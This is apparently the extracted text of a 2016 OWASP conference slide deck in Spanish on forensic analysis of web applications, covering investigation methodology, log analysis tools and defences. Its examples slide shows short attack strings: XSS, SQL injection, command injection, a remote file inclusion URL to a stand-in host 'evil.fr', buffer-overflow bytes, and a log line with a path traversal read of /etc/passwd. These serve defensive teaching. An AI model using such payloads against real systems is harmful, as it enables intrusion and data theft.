Download Análisis Forense de Aplicaciones Web

08-04-2016
OWASP LatamTour
Rep.Dominicana 2016
Análisis Forense de Aplicaciones Web
Mario Orellana
CFE | CEH | CISSO | MCT | M2T
mario@tigersec.co
Temas a Tratar
• Generalidades del Análisis Forense Digital
• Análisis Forense de Aplicaciones Web
– Arquitectura de las Aplicaciones Web
– Diferencia con el Análisis Forense Digital
Tradicional
• Metodologías y Practicas
• Herramientas de Análisis
1
08-04-2016
1
GENERALIDADES DEL ANALISIS
FORENSE DIGITAL
Análisis Forense Digital
2
08-04-2016
¿Qué NO es?
Lo que la Informática Forense NO ES:
– Recuperación de Datos e Información
– Algo que solo necesita de Software y “Herramientas” para
realizarse
– Lo que se ve en TV
¿Que es?
La Recopilación y Análisis
de información digital en
forma precisa, auténtica y
completa para su
preservación como
evidencia en un
procedimiento civil o una
corte de ley
3
08-04-2016
Evidencia Digital
La Evidencia Digital nos
puede Proveer:
•
•
•
•
•
Quien
Que
Cuando
Donde
Como
Y NO SE PROCESA
EN 10 MINUTOS
COMO EN LA
TELEVISION
Procedimientos Forenses
Standard
•
•
•
•
•
Capturar Data Volátil
Capturar Data no-volátil
Apagar el Sistema
Obtener Imagen Forense
Analizar la Imagen con Herramientas Forenses
4
08-04-2016
2
ANÁLISIS FORENSE DE
APLICACIONES WEB
5
08-04-2016
Aplicación Web de 3 Capas
HTTP Req. | RPC
Call
Consulta SQL
HTTP Request
HTTP Response
HTTP Resp. | RPC
Return
Navegador Cliente
Set de Resultados
Internet | Intranet
Web Server
Presentación
Application Server
Lógica de Negocio
DB Server
Recursos
Independientes o en el mismo Server
El Estándar no aplica
• Las aplicaciones web están típicamente
distribuidas
• Las aplicaciones web son críticas para el negocio
y bajarlas para obtener imágenes no es siempre
posible
• Los Servidores de Bases de Datos tienen arreglos
de disco muy grandes
• Las evidencias no siempre residen en los mismos
lugares para todos los ataques
• No basta con manejar el procedimiento forense,
se necesita entender la aplicación
6
08-04-2016
3
METODOLOGÍAS Y PRACTICAS
Popularidad de los ataques
• La variedad de dependencias en las que una
Aplicación Web recae multiplica sus
vulnerabilidades:
– Infraestructura de Red
– Web Servers
– DB Servers
– Browsers
– SO de los Servidores
7
08-04-2016
Métodos mas famosos
• XSS – Cross Site Scripting
/foro.php?post=<script>alert(1);
• SQLi – SQL Injection
/producto.asp?id=0%20or%201=1
• Ejecución de Codigo
/busqueda.jsp?ip=|+ls+-l
Métodos mas famosos
• RFI – Remote File Inclusion
/include/?file=http://evil.fr/shSQL
• Buffer Overflow
/cgi-bin/Count.cgi?user=a
\x90\xbf8\xee\xff\xbf8\xee\xff
\xbf8\xee\xff\xbf8\xee\xff\xbf8
\xee\xff\xbf8 […] \xff\xff
8
08-04-2016
Adonde se dan los ataques
HTTP Req. | RPC
Call
Consulta SQL
HTTP Request
HTTP Response
HTTP Resp. | RPC
Return
Navegador Cliente
Web Server
Presentación
Ataques contra el
Web Server (Buffer
Overflow)
Set de Resultados
Application Server
Lógica de Negocio
Ataques contra el App
Server (XSS, Ataques
a Sesiones)
DB Server
Recursos
Ataques contra el DB
Server (SQLi)
Investigación: Análisis Preliminar
• Disposición de Análisis
– Recolección de Evidencias:
• Preparar las aplicaciones con Logging ajustado, NO
DEFAULT
– Protección de Evidencias
• Permisos a los archivos de Log
• Mantener los Logs fuera del alcance del Atacante
• Checksum para garantizar integridad de los Logs
9
08-04-2016
Investigación: Análisis Preliminar
• Forensia de Soporte
– La disposición de Análisis no garantiza la
recolección total de las evidencias, se requeriría
apoyo de otras ramas forenses
• Habilidades
– Entender la arquitectura, componentes, etc de las
Aplicaciones Web
– Entender los métodos de ataque y
vulnerabilidades
Investigación: Metodología
1. Proteger la aplicación durante el análisis para
prevenir la modificación de archivos
2. “Descubrir” los archivos necesarios para la
investigación:
– Logs de Web y Application Server
– Server Side Scripts que utilizan los archivos de
configuración de los WS, AS y la WebApp
– Logs de Terceros
10
08-04-2016
Investigación: Metodología
3. Desarrollo del análisis para determinar la
secuencia de eventos y el grado de compromiso:
– Entradas inusuales en los logs (GET requests para
paginas ASP –POST es el método normal)
– Abuso de Scripts (CMD, Root, Upload, ASP)
– Intentos excesivos de la misma IP
– Tiempos de procesamiento inusuales (SQL Injection)
– Archivos creados o modificados cerca de la hora del
evento
Investigación: Metodología
4. Preparar un reporte basado en la
información extraída de la Aplicación Web
5. Recomendar acciones Post-Evento
212.32.45.167 - - [13/Mar/2012:21:05:42 +0100] "GET
/webapp.php?page=../../etc/passwd HTTP/1.1" 200
2219
11
08-04-2016
Investigación: Forense de
Soporte
• Los logs registran de manera precisa las
actividades en una aplicación web
• Lo circundante tambien aporta:
– Logs de Sistemas Operativos
– Flujo de Comunicación en Firewalls
– Memory Dumps del Web Server
– Archivos cargados foráneamente
4
HERRAMIENTAS DE ANÁLISIS
12
08-04-2016
Herramientas
• Requerimientos:
–
–
–
–
Analizar Logs en distintos formatos
Combinación de multiples fuentes
Manejar archivos de gran tamaño
Utilizar expresiones regulares y logica binaria en
cualquier parametro observado en los logs
– Desarrollar normalización por tiempo para realizar
una investigación adecuada con estampas de tiempo
– Mantener una lista de solicitudes sospechosas
– Decodificar la data de URL para que sea mas legible
Herramienta
MultiPlataforma
Compresión
Correlación
de fuentes
Ejecución “Real
Time”
Reportes
Escalable
Microsoft
LogParser
Windows
No
No
No
CSV, TSV,
XML,
Syslog
Si
EventLog
Analyzer
Si
No
No
Si
HTML,
PDF, CSV
Si
Http-Analyze
Si
Si, por
Rotación
No
No
HTML
No
Pyflag
Si
No
Si
No
HTML
Si
Analog
Si
No
No
No
HTML,
Stats
Si
OpenWeb
Analytics
Si
No
No
Si
HTML
Si
MyWebalizer
Si
Si
Si
No
HTML
Si
Sawmill
Si
Si
Si
Si
HTML
Si
Lire
Linux, Unix
No
No
No
HTML,
XML
Si
13
08-04-2016
POST-MORTEM
Técnicas de Defensa
• Prevención:
– Firewalls
– Web Application Firewalls
– Parcheo
• Detección:
– AntiVirus
– IPS
– Monitoreadores de Procesos
14
08-04-2016
Que pudimos haber hecho
mejor
•
•
•
•
•
Habilitación de pistas de auditoría
Ajustar logs
Cifrado de info sensitiva en Bases de Datos
Culturizar a la gente!
Hacer revisión de seguridad de código
¡GRACIAS!
mario@tigersec.co
15